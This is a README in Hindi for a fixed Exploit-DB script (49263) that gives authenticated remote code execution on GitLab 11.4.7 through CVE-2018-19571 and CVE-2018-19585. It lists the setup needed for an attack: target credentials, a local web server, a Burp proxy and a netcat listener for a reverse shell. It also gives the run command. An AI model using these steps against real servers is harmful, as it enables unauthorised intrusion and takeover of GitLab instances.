edb-49263-fixed - GitLab 11.4.7 - प्रमाणित दूरस्थ कोड निष्पादन

CVE-2018-19571 और CVE-2018-19585 (GitLab 11.4.7 - प्रमाणित दूरस्थ कोड निष्पादन) का शोषण करने वाली Python स्क्रिप्ट का सुधारा गया संस्करण, जो https://www.exploit-db.com/exploits/49263 (Python 3.9) पर उपलब्ध है।

उपयोग

स्क्रिप्ट को संपादित करें और उसमें मौजूद लक्ष्य पते को वास्तविक लक्ष्य पते से बदलें।

साथ ही, ध्यान रखें कि आपको निम्नलिखित करना होगा:

1. लक्ष्य GitLab इंस्टेंस पर एक मान्य उपयोगकर्ता खाता हो,
2. स्क्रिप्ट जिस निर्देशिका से चलाई जाती है, उसमें पोर्ट 80 पर एक (Python) वेब सर्वर चलाएँ,
3. अपनी मशीन पर पोर्ट 8080 पर एक सक्रिय प्रॉक्सी सर्वर हो (जैसे, इंटरसेप्ट बंद किए हुए BURP; यदि लोकल होस्ट पर कोई प्रॉक्सी सर्वर नहीं चल रहा है या वह कनेक्शन अस्वीकार कर रहा है, तो स्क्रिप्ट बिना किसी त्रुटि के विफल हो जाएगी), और
4. अपनी मशीन पर वांछित पोर्ट पर एक netcat लिसनर सेट अप हो।

फिर स्क्रिप्ट को निम्न प्रकार से निष्पादित किया जाता है:

python3 49263.py -U username -P password -l local-ip -p local-port-for-netcat-listener